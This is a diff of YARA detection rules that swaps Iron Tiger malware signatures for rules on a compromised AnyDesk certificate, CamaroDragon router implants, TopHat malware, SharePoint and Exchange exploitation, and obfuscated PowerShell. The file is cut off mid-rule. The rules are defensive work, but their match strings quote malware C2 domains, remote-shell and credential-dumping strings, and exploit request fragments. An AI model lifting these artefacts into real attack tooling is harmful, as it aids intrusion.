-rule SIGNATURE_BASE_Irontiger_Dnstunnel : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Anydesk_Compromised_Certificate_Jan24_2 : FILE
 {
 	meta:
-		description = "This rule detects a dns tunnel tool used in Operation Iron Tiger"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "7f24d3dd-4301-5b12-8262-4cc5f6578a4b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L65-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "84b7dec3a89fe309149c7a3141279755adafbf793521c7b9b4031827f1020d7d"
-		score = 75
+		description = "Detects binaries signed with a compromised signing certificate of AnyDesk that aren't AnyDesk itself (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; permissive version)"
+		author = "Florian Roth"
+		id = "a41af8d8-ebdf-5a2f-8cf5-abd4587bdfc5"
+		date = "2024-02-02"
+		modified = "2024-04-24"
+		reference = "https://anydesk.com/en/public-statement"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_anydesk_compromised_cert_feb23.yar#L38-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "86f708233d5a6a46d367430dcc65b128e8dc7ec24eda774ff3860101cc16c9fc"
+		score = 65
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$str1 = "\\DnsTunClient\\" wide ascii
-		$str2 = "\\t-DNSTunnel\\" wide ascii
-		$str3 = "xssok.blogspot" wide ascii
-		$str4 = "dnstunclient" wide ascii
-		$mistake1 = "because of error, can not analysis" wide ascii
-		$mistake2 = "can not deal witn the error" wide ascii
-		$mistake3 = "the other retun one RST" wide ascii
-		$mistake4 = "Coversation produce one error" wide ascii
-		$mistake5 = "Program try to use the have deleted the buffer" wide ascii
+		$sc1 = { 0D BF 15 2D EA F0 B9 81 A8 A9 38 D5 3F 76 9D B8 }
+		$s2 = "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1"
+		$f1 = "AnyDesk Software GmbH" wide
 
 	condition:
-		( uint16(0)==0x5a4d) and (( any of ($str*)) or ( any of ($mistake*)))
+		uint16(0)==0x5a4d and filesize <20000KB and all of ($s*) and not 1 of ($f*)
 }
-rule SIGNATURE_BASE_Irontiger_EFH3_Encoder : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Anydesk_Compromised_Certificate_Jan24_3 : FILE
 {
 	meta:
-		description = "Iron Tiger EFH3 Encoder"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "ec30782e-8fe9-5843-9db4-5a3c477b7f25"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L86-L99"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e620222f815a6c915e372c11d28c480179fd2abdb139ed6984ca5a7a61b8088c"
+		description = "Detects binaries signed with a compromised signing certificate of AnyDesk after it was revoked (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; version that uses dates for validation)"
+		author = "Florian Roth"
+		id = "9610e61c-25d7-53e8-ba3f-b78b3d108aa3"
+		date = "2024-02-02"
+		modified = "2024-04-24"
+		reference = "https://anydesk.com/en/public-statement"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_anydesk_compromised_cert_feb23.yar#L58-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fdd1068abfba52c9a40fd2b6628a5c67775eb31815e6d53bfc4655080d9b240e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
-	strings:
-		$str1 = "EFH3 [HEX] [SRCFILE] [DSTFILE]" wide ascii
-		$str2 = "123.EXE 123.EFH" wide ascii
-		$str3 = "ENCODER: b[i]: = " wide ascii
-
 	condition:
-		uint16(0)==0x5a4d and ( any of ($str*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and pe.signatures[i].serial=="0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8" and (pe.signatures[i].not_before>1706486400 or pe.timestamp>1706486400))
 }
-rule SIGNATURE_BASE_Irontiger_Getpassword_X64 : FILE
+rule SIGNATURE_BASE_MAL_LNX_Camarodragon_Sheel_Oct23 : FILE
 {
 	meta:
-		description = "Iron Tiger Malware - GetPassword x64"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "8f55b23f-52fd-5106-9112-6cffa97269ab"
-		date = "2023-01-06"
+		description = "Detects CamaroDragon's tool named sheel"
+		author = "Florian Roth"
+		id = "f6f08c0e-236c-5194-9369-da8fdef4aa21"
+		date = "2023-10-06"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L101-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2adabc629fcd4bc89a015874376daf51b2a367bb13ec25e917e5d899080d8a74"
-		score = 75
+		reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_camaro_dragon_oct23.yar#L2-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b06f645b766a099adb71c144bdced70c130735e75d5be6451f71077c7d3a5d19"
+		score = 85
 		quality = 85
 		tags = "FILE"
+		hash1 = "7985f992dcc6fcce76ee2892700c8538af075bd991625156bf2482dbfebd5a5a"
 
 	strings:
-		$str1 = "(LUID ERROR)" wide ascii
-		$str2 = "Users\\K8team\\Desktop\\GetPassword" wide ascii
-		$str3 = "Debug x64\\GetPassword.pdb" ascii
-		$bla1 = "Authentication Package:" wide ascii
-		$bla2 = "Authentication Domain:" wide ascii
-		$bla3 = "* Password:" wide ascii
-		$bla4 = "Primary User:" wide ascii
+		$x1 = "-h server_ip -p server_port -i update_index[0-4] [-r]" ascii fullword
+		$s1 = "read_ip" ascii fullword
+		$s2 = "open fail.%m" ascii fullword
+		$s3 = "ri:h:p:" ascii fullword
+		$s4 = "update server list success!" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and (( any of ($str*)) or ( all of ($bla*)))
+		uint16(0)==0x457f and filesize <30KB and (1 of ($x*) or 3 of them ) or 4 of them
 }
-rule SIGNATURE_BASE_Irontiger_Gtalk_Trojan : FILE
+rule SIGNATURE_BASE_MAL_LNX_Camarodragon_Horseshell_Oct23 : FILE
 {
 	meta:
-		description = "Iron Tiger Malware - GTalk Trojan"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "3d72660b-c470-5e63-a83d-990d3c5a696c"
-		date = "2023-12-05"
+		description = "Detects CamaroDragon's HorseShell implant for routers"
+		author = "Florian Roth"
+		id = "9e54745f-146f-50a6-b30f-53aaaa6907b5"
+		date = "2023-10-06"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L121-L135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9b6139d34ad91db2e418668be9ca947442ff614a241f0c1aa61f8334af5421c0"
-		score = 75
+		reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_camaro_dragon_oct23.yar#L27-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "73adaa286b345cffd35e6ba017b3204d8818dcaeea8a48ca93959566461ac3ca"
+		score = 85
 		quality = 85
 		tags = "FILE"
+		hash1 = "998788472cb1502c03675a15a9f09b12f3877a5aeb687f891458a414b8e0d66c"
 
 	strings:
-		$str1 = "gtalklite.com" wide ascii
-		$str2 = "computer=%s&lanip=%s&uid=%s&os=%s&data=%s" wide ascii
-		$str3 = "D13idmAdm" wide ascii
-		$str4 = "Error: PeekNamedPipe failed with %i" wide ascii
+		$x1 = "echo \"start shell '%s' failed!\" > .remote_shell.log" ascii fullword
+		$x2 = "*****recv NET_REQ_HORSE_SHELL REQ_CONNECT_PORT*****" ascii fullword
+		$s1 = "m.cremessage.com" ascii fullword
+		$s2 = "POST http://%s/index.php HTTP/1.1" ascii fullword
+		$s3 = "wzsw_encrypt_buf" ascii fullword
+		$s4 = "body:%d-%s" ascii fullword
+		$s5 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident" ascii fullword
+		$s6 = "process_http_read_events" ascii fullword
+		$op1 = { c4 34 42 00 02 30 63 00 40 10 60 00 09 ae 62 00 48 8e 62 00 cc }
+		$op2 = { 27 f4 8c 46 27 f0 03 20 f8 09 00 60 28 21 }
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($str*))
+		uint16(0)==0x457f and filesize <600KB and (1 of ($x*) or 3 of them ) or 5 of them
 }
-rule SIGNATURE_BASE_Irontiger_HTTP_SOCKS_Proxy_Soexe : FILE
+rule SIGNATURE_BASE_LOG_EXPL_Proxytoken_Exploitation_Aug21_1 : CVE_2021_33766
 {
 	meta:
-		description = "Iron Tiger Toolset - HTTP SOCKS Proxy soexe"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "6ead3d61-c1e3-55d1-894e-ab57bcd09cde"
-		date = "2023-12-05"
+		description = "Detects ProxyToken CVE-2021-33766 exploitation attempts on an unpatched system"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f4840140-6d31-52f9-b1a0-2acdd4b955cd"
+		date = "2021-08-30"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L137-L152"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f262751727de3d47a8d7cdc1f8ba8d92f4f60e22bc4e897bd5e53a8f2c118c95"
+		reference = "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2021_33766_proxytoken.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff0c3e4f7491f5faec3e2688819ea5ec636a7d4eb57941afff6f53f60b0c0293"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2021-33766"
 
 	strings:
-		$str1 = "listen SOCKET error." wide ascii
-		$str2 = "WSAAsyncSelect SOCKET error." wide ascii
-		$str3 = "new SOCKETINFO error!" wide ascii
-		$str4 = "Http/1.1 403 Forbidden" wide ascii
-		$str5 = "Create SOCKET error." wide ascii
+		$ss0 = "POST " ascii
+		$ss1 = " 500 0 0"
+		$sa1 = "/ecp/" ascii
+		$sa2 = "/RulesEditor/InboxRules.svc/NewObject" ascii
+		$sb1 = "/ecp/" ascii
+		$sb2 = "SecurityToken=" ascii
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($str*))
+		all of ($ss*) and ( all of ($sa*) or all of ($sb*))
 }
-rule SIGNATURE_BASE_Irontiger_Nbddos_Gh0Stvariant_Dropper : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Tophat_Malware_Jan18_1 : FILE
 {
 	meta:
-		description = "Iron Tiger Malware - NBDDos Gh0stvariant Dropper"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "3610b9e3-45f8-5a8d-8977-817160009818"
-		date = "2023-12-05"
+		description = "Detects malware from TopHat campaign"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ec290eee-a21e-548d-b7cc-3e25e7c39d22"
+		date = "2018-01-29"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L154-L169"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e877c52d5cb0067388e9a138f48dcf7d3bd6d7d491eea6acffb2527ba0a906c7"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_tophat.yar#L13-L36"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "69a1e1105b28d66203f74e68038efacc926e501e28a73865485adf2fd7fc0ac0"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5c0b253966befd57f4d22548f01116ffa367d027f162514c1b043a747bead596"
+		hash2 = "1f9bca1d5ce5d14d478d32f105b3ab5d15e1c520bde5dfca22324262e84d4eaf"
 
 	strings:
-		$str1 = "This service can't be stoped." wide ascii
-		$str2 = "Provides support for media palyer" wide ascii
-		$str4 = "CreaetProcess Error" wide ascii
-		$bla1 = "Kill You" wide ascii
-		$bla2 = "%4.2f GB" wide ascii
+		$s1 = "WINMGMTS:\\\\.\\ROOT\\CIMV2" fullword ascii
+		$s2 = "UENCRYPTION" fullword ascii
+		$s3 = "TEXPORTAPIS" fullword ascii
+		$s4 = "tcustommemorystream" fullword ascii
+		$s5 = "tmemorystream" fullword ascii
+		$s6 = "ExtrasNoteCONSOLEemb" fullword ascii
+		$s7 = "DIALOG INCLUDE" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and (( any of ($str*)) or ( all of ($bla*)))
+		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="c221006b240b1c993217bd61e5ee31b6" or 6 of them )
 }
-rule SIGNATURE_BASE_Irontiger_Plugx_Dosemulator : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Tophat_Malware_Jan18_2 : FILE
 {
 	meta:
-		description = "Iron Tiger Malware - PlugX DosEmulator"
-		author = "Cyber Safety Solutions, Trend Micro - modified by Florian Roth"
-		id = "e601d91d-49e6-5fe9-b70b-fb1fb6c4f059"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L171-L185"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "502adc142b0f7a2980b4b851f2360086cec855b5e9851a6e9afbaba1846d11ed"
+		description = "Auto-generated rule - file e.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a1b8e477-df8a-5ff4-9108-541a0f082f77"
+		date = "2018-01-29"
+		modified = "2023-01-06"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_tophat.yar#L38-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2321e89559363c04ef0e92a9c9e03d11ff27410103b3aaba954b544e33961b2f"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9580d15a06cd59c01c59bca81fa0ca8229f410b264a38538453f7d97bfb315e7"
 
 	strings:
-		$str1 = "Dos Emluator Ver" wide ascii
-		$str2 = "\\PIPE\\FASTDOS" wide ascii
-		$str3 = "FastDos.cpp" wide ascii
-		$str4 = "fail,error code = %d." wide ascii
+		$s1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes" fullword ascii
+		$s2 = "\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\" ascii
+		$s3 = "LError loading dock zone from the stream. Expecting version %d, but found %d." fullword wide
+		$s4 = "WINMGMTS:\\\\.\\ROOT\\CIMV2" fullword ascii
+		$s5 = "UENCRYPTION" fullword ascii
+		$s6 = "TEXPORTAPIS" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 2 of ($str*)
+		uint16(0)==0x5a4d and filesize <1000KB and (pe.imphash()=="f98cebcae832abc3c46e6e296aecfc03" and 5 of them )
 }
-rule SIGNATURE_BASE_Irontiger_Plugx_Fastproxy : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Tophat_BAT : FILE
 {
 	meta:
-		description = "Iron Tiger Malware - PlugX FastProxy"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "14e05823-6288-5f02-8060-add51084c446"
-		date = "2023-12-05"
+		description = "Auto-generated rule - file cgen.bat"
+		author = "Florian Roth (Nextron Systems)"
+		id = "81e84f1b-0ee7-530d-91ea-645c0994e68f"
+		date = "2018-01-29"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L187-L203"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6659595f65b445d2bd69b13b8d01c2dd78b5c055fa39f810a61646d9408df2ff"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-the-tophat-campaign-attacks-within-the-middle-east-region-using-popular-third-party-services/#appendix"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_tophat.yar#L62-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5dc58fa39d8b2aed95b39da575191fe5d10d5dd95b57c320cde8983505e7184f"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f998271c4140caad13f0674a192093092e2a9f7794a7fbbdaa73ae8f2496c387"
+		hash2 = "0fbc6fd653b971c8677aa17ecd2749200a4a563f9dd5409cfb26d320618db3e2"
 
 	strings:
-		$str1 = "SAFEPROXY HTServerTimer Quit!" wide ascii
-		$str2 = "Useage: %s pid" wide ascii
-		$str3 = "%s PORT[%d] TO PORT[%d] SUCCESS!" wide ascii
-		$str4 = "p0: port for listener" wide ascii
-		$str5 = "\\users\\whg\\desktop\\plug\\" wide ascii
-		$str6 = "[+Y] cwnd : %3d, fligth:" wide ascii
+		$s1 = "= New-Object IO.MemoryStream(,[Convert]::FromBase64String(\"" ascii
+		$s2 = "goto Start" fullword ascii
+		$s3 = ":Start" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and ( any of ($str*))
+		filesize <5KB and all of them
 }
-rule SIGNATURE_BASE_Irontiger_Plugx_Server : FILE
+rule SIGNATURE_BASE_LOG_EXPL_Sharepoint_CVE_2023_29357_Sep23_1 : CVE_2023_29357
 {
 	meta:
-		description = "Iron Tiger Malware - PlugX Server"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "38011a23-3ed7-5f58-a814-2551526b27f3"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L205-L225"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "14b3f3b75cf6d042934e6916c99fe41d54065d59be6eb30b3cecc799997ac9d4"
-		score = 75
+		description = "Detects log entries that could indicate a successful exploitation of CVE-2023-29357 on Microsoft SharePoint servers with the published Python POC"
+		author = "Florian Roth (with help from @LuemmelSec)"
+		id = "9fa77216-c0d6-55e5-bbcc-adb9438ca456"
+		date = "2023-09-28"
+		modified = "2023-10-01"
+		reference = "https://twitter.com/Gi7w0rm/status/1706764212704591953?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_sharepoint_cve_2023_29357.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "03e3a4715c8683dc8d03ad6720c1c9b40482bd0bfa3020aa1152565ec9ec929f"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2023-29357"
 
 	strings:
-		$str1 = "\\UnitFrmManagerKeyLog.pas" wide ascii
-		$str2 = "\\UnitFrmManagerRegister.pas" wide ascii
-		$str3 = "Input Name..." wide ascii
-		$str4 = "New Value#" wide ascii
-		$str5 = "TThreadRControl.Execute SEH!!!" wide ascii
-		$str6 = "\\UnitFrmRControl.pas" wide ascii
-		$str7 = "OnSocket(event is error)!" wide ascii
-		$str8 = "Make 3F Version Ok!!!" wide ascii
-		$str9 = "PELEASE DO NOT CHANGE THE DOCAMENT" wide ascii
-		$str10 = "Press [Ok] Continue Run, Press [Cancel] Exit" wide ascii
+		$xr1 = /GET [a-z\.\/_]{0,40}\/web\/(siteusers|currentuser) - (80|443) .{10,200} (python-requests\/[0-9\.]{3,8}|-) [^ ]{1,160} [^4]0[0-9] /
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($str*))
+		$xr1
 }
-rule SIGNATURE_BASE_Irontiger_Readpwd86 : FILE
+rule SIGNATURE_BASE_HKTL_EXPL_POC_PY_Sharepoint_CVE_2023_29357_Sep23_1 : CVE_2023_29357 FILE
 {
 	meta:
-		description = "Iron Tiger Malware - ReadPWD86"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "5db832be-4b8e-536f-8db7-a215a90284e2"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L227-L240"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c188b033aee6b7e811c125af545aa7851cd45ba02e057ee93967fa98d1c13947"
-		score = 75
+		description = "Detects a Python POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
+		author = "Florian Roth"
+		id = "2be524ab-f360-56b8-9ce3-e15036855c67"
+		date = "2023-10-01"
+		modified = "2023-10-01"
+		reference = "https://github.com/Chocapikk/CVE-2023-29357"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_sharepoint_cve_2023_29357.yar#L22-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fec7762ab23ba5ee9e793000d080b1d64b93157c6ead9e6939ccfb3c168dd360"
+		score = 80
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2023-29357, FILE"
 
 	strings:
-		$str1 = "Fail To Load LSASRV" wide ascii
-		$str2 = "Fail To Search LSASS Data" wide ascii
-		$str3 = "User Principal" wide ascii
+		$x1 = "encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')"
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($str*))
+		filesize <30KB and $x1
 }
-rule SIGNATURE_BASE_Irontiger_Ring_Gh0Stvariant : FILE
+rule SIGNATURE_BASE_HKTL_EXPL_POC_NET_Sharepoint_CVE_2023_29357_Sep23_1 : CVE_2023_29357 FILE
 {
 	meta:
-		description = "Iron Tiger Malware - Ring Gh0stvariant"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "6858550a-4000-581c-b270-370db8ed1c57"
-		date = "2023-12-05"
+		description = "Detects a C# POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
+		author = "Florian Roth"
+		id = "aa6aeb00-b162-538c-a670-cbff525dd8f1"
+		date = "2023-10-01"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L242-L257"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6df729e3b472d3930f5bc4a1b5b8736567df43b78bec3401f5d41bf7ba30d93b"
-		score = 75
+		reference = "https://github.com/LuemmelSec/CVE-2023-29357"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_sharepoint_cve_2023_29357.yar#L37-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf621cc9c5074f531df61623b09db68478e94ae6a9a7acc26aa8d9dde79bd30c"
+		score = 80
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2023-29357, FILE"
 
 	strings:
-		$str1 = "RING RAT Exception" wide ascii
-		$str2 = "(can not update server recently)!" wide ascii
-		$str4 = "CreaetProcess Error" wide ascii
-		$bla1 = "Sucess!" wide ascii
-		$bla2 = "user canceled!" wide ascii
+		$x1 = "{f22d2de0-606b-4d16-98d5-421f3f1ba8bc}" ascii wide
+		$x2 = "{F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}" ascii wide
+		$s1 = "Bearer"
+		$s2 = "hashedprooftoken"
+		$s3 = "/_api/web/"
+		$s4 = "X-PROOF_TOKEN"
+		$s5 = "00000003-0000-0ff1-ce00-000000000000"
+		$s6 = "IsSiteAdmin"
 
 	condition:
-		uint16(0)==0x5a4d and (( any of ($str*)) or ( all of ($bla*)))
+		uint16(0)==0x5a4d and filesize <800KB and (1 of ($x*) or all of ($s*))
 }
-rule SIGNATURE_BASE_Irontiger_Wmiexec
+rule SIGNATURE_BASE_Gen_Unicorn_Obfuscated_Powershell : FILE
 {
 	meta:
-		description = "Iron Tiger Tool - wmi.vbs detection"
-		author = "Cyber Safety Solutions, Trend Micro"
-		id = "a3060f50-3594-5da9-98e2-6fa0087451f5"
-		date = "2023-12-05"
+		description = "PowerShell payload obfuscated by Unicorn toolkit"
+		author = "John Lambert @JohnLaTwC"
+		id = "0235795b-6d0b-5bba-8ae6-606c3b613c86"
+		date = "2018-04-03"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/T5fSJC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_irontiger_trendmicro.yar#L259-L276"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7988b993345e13b64e5f02ecd2679fc484b063a4cd2f18b52d00d2dfa34d82cb"
+		reference = "https://github.com/trustedsec/unicorn/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_unicorn_obfuscated_powershell.yar#L1-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b93d2fe6a671a6a967f31d5b3a0a16d4f93abcaf25188a2bbdc0894087adb10d"
+		logic_hash = "cb0044d5ee146213c96161d52880ce6c20d5884d57620c73f359673d4ae4b76b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash2 = "1afb9795cb489abce39f685a420147a2875303a07c32bf7eec398125300a460b"
 
 	strings:
-		$str1 = "Temp Result File , Change it to where you like" wide ascii
-		$str2 = "wmiexec" wide ascii
